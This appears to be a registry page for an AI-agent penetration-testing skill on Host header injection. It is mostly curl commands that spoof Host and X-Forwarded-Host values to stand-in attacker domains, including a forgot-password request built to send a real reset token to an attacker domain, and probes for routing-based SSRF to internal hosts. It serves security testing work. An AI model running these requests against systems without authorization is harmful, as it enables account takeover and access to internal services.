host-header
Skill1 starsChanged 11 days agoMITView on GitHub
Hunt for Host header injection/trust issues: password-reset link poisoning via a spoofed Host, routing-based SSRF through back-end virtual host confusion, and web-cache poisoning rooted in an unkeyed Host/ X-Forwarded-Host. Use when the app constructs absolute URLs (reset links, canonical tags, redirects) from the incoming Host header. Keywords: Host header, X-Forwarded-Host, password reset poisoning, virtual host routing, SSRF via Host. Do NOT use for cache poisoning mechanics unrelated to Host — use cache-poisoning. Do NOT use for the password-reset token/flow logic itself beyond the Host vector — use password-reset for the rest.
- Sends data out
1 other project uses a version of this.
Adopted by
Most recently taken up by
- emre-guler/websectheir own version, first seen Aug 27, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- emre-guler/websec★ 2same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- password-resetSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
4 rules. About 0 are common, 1 is distinctive, and 3 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 67
Check the received email: if the reset link reads https://attacker-collab.net/reset?token=<REAL_TOKEN>, the token has just been exfiltrated …
- Very specific: line 76
Look for different response content/timing/status that indicates the request landed on a different backend (an internal admin panel, a …
- Very specific: line 105
Always capture the exact header combination that worked.
- Distinctive: line 117
Before declaring this finding complete, probe these escalation paths:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Password reset / email verification links containing an absolute URL (
https://<domain>/reset?token=...). X-Forwarded-Host,X-Forwarded-Server,X-Host,Forwardedheaders accepted anywhere in the stack (CDN/LB passes them through to origin).- Multiple virtual hosts/apps served from the same IP/load balancer (shared infrastructure, name-based routing).
- Absolute URLs in HTML (
<link rel="canonical">, Open Graph tags, JS config blobs) that mirror the request'sHost.
Prerequisites
- An account you can trigger a password reset / verification email for, and visibility into the resulting email content (test inbox you control).
- Ability to send the raw
Hostheader value independent of DNS (viacurl --resolveor editing/etc/hosts-equivalent, or Burp's "Update Host header to match target" disabled).
Methodology
- Confirm the app trusts the raw Host header for anything security-relevant. Send a request with an arbitrary Host and see if it's reflected anywhere in the response body or affects routing:
Grep the body for the injected value:curl -s -i https://target.com/ -H "Host: evil.com" curl -s -i https://target.com/ --resolve target.com:443:<target_ip> -H "Host: evil.com" -kcurl -s https://target.com/ -H "Host: evil.com" | grep -i evil.com - X-Forwarded-Host trust test, since many apps sit behind a CDN/LB that sets
Hostcorrectly but trust a forwarded header for building "the real public URL" (common with Laravel, DjangoUSE_X_FORWARDED_HOST, Node behind nginx):curl -s -i https://target.com/ -H "X-Forwarded-Host: evil.com" | grep -i evil.com curl -s -i https://target.com/ -H "X-Forwarded-Host: evil.com" -H "X-Forwarded-Proto: https" | grep -i evil.com curl -s -i https://target.com/ -H "Host: target.com" -H "X-Host: evil.com" | grep -i evil.com curl -s -i https://target.com/ -H "Forwarded: host=evil.com" | grep -i evil.com - Password reset link poisoning — the main payoff. Trigger a real reset request while supplying a malicious Host/X-Forwarded-Host, then inspect the actual email delivered:
Check the received email: if the reset link readscurl -s -i -X POST https://target.com/forgot-password \ -H "Host: attacker-collab.net" \ -d "email=victim-test-account@yourdomain.com" # also try the forwarded-header variant if plain Host didn't work curl -s -i -X POST https://target.com/forgot-password \ -H "X-Forwarded-Host: attacker-collab.net" \ -d "email=victim-test-account@yourdomain.com"https://attacker-collab.net/reset?token=<REAL_TOKEN>, the token has just been exfiltrated to an attacker-controlled domain the moment the victim clicks it (or even via automatic link-preview crawlers in some mail clients, without any click). - Routing-based SSRF via Host confusion. On infrastructure using the Host header for internal routing decisions (reverse proxies routing by vhost, or apps that do
fetch(internal_service + Host)-style construction), test whether a crafted Host reaches an internal-only service:
Look for different response content/timing/status that indicates the request landed on a different backend (an internal admin panel, a different app on the shared host).curl -s -i https://target.com/ -H "Host: localhost" curl -s -i https://target.com/ -H "Host: 127.0.0.1" curl -s -i https://target.com/ -H "Host: internal-admin.target.internal" curl -s -i https://target.com/ -H "Host: target.com:1337" - Absolute-URL reflection in rendered HTML (less severe but chainable with cache poisoning): check canonical tags, Open Graph, and inline JS config:
curl -s https://target.com/ -H "X-Forwarded-Host: evil.com" | grep -i -E 'canonical|og:url|evil.com' - Default/first vhost confusion. Some servers route unmatched Host values to the first configured virtual host rather than rejecting them — test sending no recognizable Host at all, or an IP, to see what app answers:
curl -s -i -X GET "https://<target_ip>/" -H "Host: " curl -s -i -X GET "https://<target_ip>/" --http1.1
Tooling
curl --resolve host:port:ipto control DNS resolution independent of the Host header value sent.- Burp Suite with "Update Host header to match target" disabled in Repeater, to send arbitrary Host values to a fixed IP.
- A disposable test mailbox + Burp Collaborator/webhook.site as the "attacker" domain to receive poisoned links.
Root Causes
- Application builds absolute URLs (for emails, redirects, canonical links) from the incoming
Host/X-Forwarded-Hostheader instead of a server-side configured base URL/allow-list. - Reverse proxy forwards client-supplied
X-Forwarded-Hostto the origin without the origin validating it against the expected public hostname. - Shared hosting/load balancer routes by Host header without a strict allow-list, falling back to a default vhost that leaks internal services.
Validation Gate (minimum proof)
- The actual delivered password-reset email (screenshot or raw source) showing the poisoned domain in the link, with the real, usable reset token embedded — the strongest proof, since it demonstrates full token exfiltration capability.
- For SSRF-via-routing: response content/headers proving a different backend answered (distinct error page, internal-only banner, different
Serverheader) — not just a timing difference, which is Inferred at best. - Always capture the exact header combination that worked; many apps only trust one specific header name (
X-Forwarded-Hostbut notX-Host, etc.).
Gotchas
- Minimum proof: the injected Host merely appearing in an error page's debug output is weak — the real-world proof is the poisoned value reaching an email, a redirect
Location, or a different backend's response. - Common N/A: app uses a hardcoded
APP_URL/SITE_URLconfig value server-side for all link generation, ignoring the Host header entirely — verify via the reset-link test; if the link always shows the real domain regardless of what Host you send, close as N/A. - Overclaim trap: Host header reflected in a response body on a page with no security consequence (not used in links, not used for routing) is informational, not a password-reset-poisoning finding — don't conflate reflection with exploitability.
- Load balancers/CDNs sometimes strip or overwrite
X-Forwarded-Hostbefore the origin sees it — a negative result at the edge doesn't confirm the origin app is safe if you can reach it directly (check for an exposed origin IP, in scope). - This overlaps with password-reset — do the Host-header-specific vector here, defer token entropy/predictability/rate-limit analysis of the reset flow itself to that skill.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Password-reset poisoning — Can a forged Host header poison a password-reset email link to redirect victims to an attacker domain?
- Cache poisoning chain — Does the forged Host header get cached and served to other users (chain with cache-poisoning)?
- SSRF via internal routing — Does the app use the Host header to construct internal requests, enabling SSRF?
- Virtual-host confusion — Can the Host header route the request to an unintended internal vhost/backend?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Poisoned reset link + victim interaction (click, or automated link-preview fetch by mail security scanners) → full account takeover; chain fully into password-reset for the end-to-end writeup.
- Unkeyed Host/X-Forwarded-Host reflected into a cached response → mass poisoning, chain with cache-poisoning.
- Host-header-driven redirect target → feeds oauth if it affects an
/authorizeor callback flow. - Routing-based SSRF reaching an internal admin service → chain into broken-access-control for whatever that internal service exposes.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

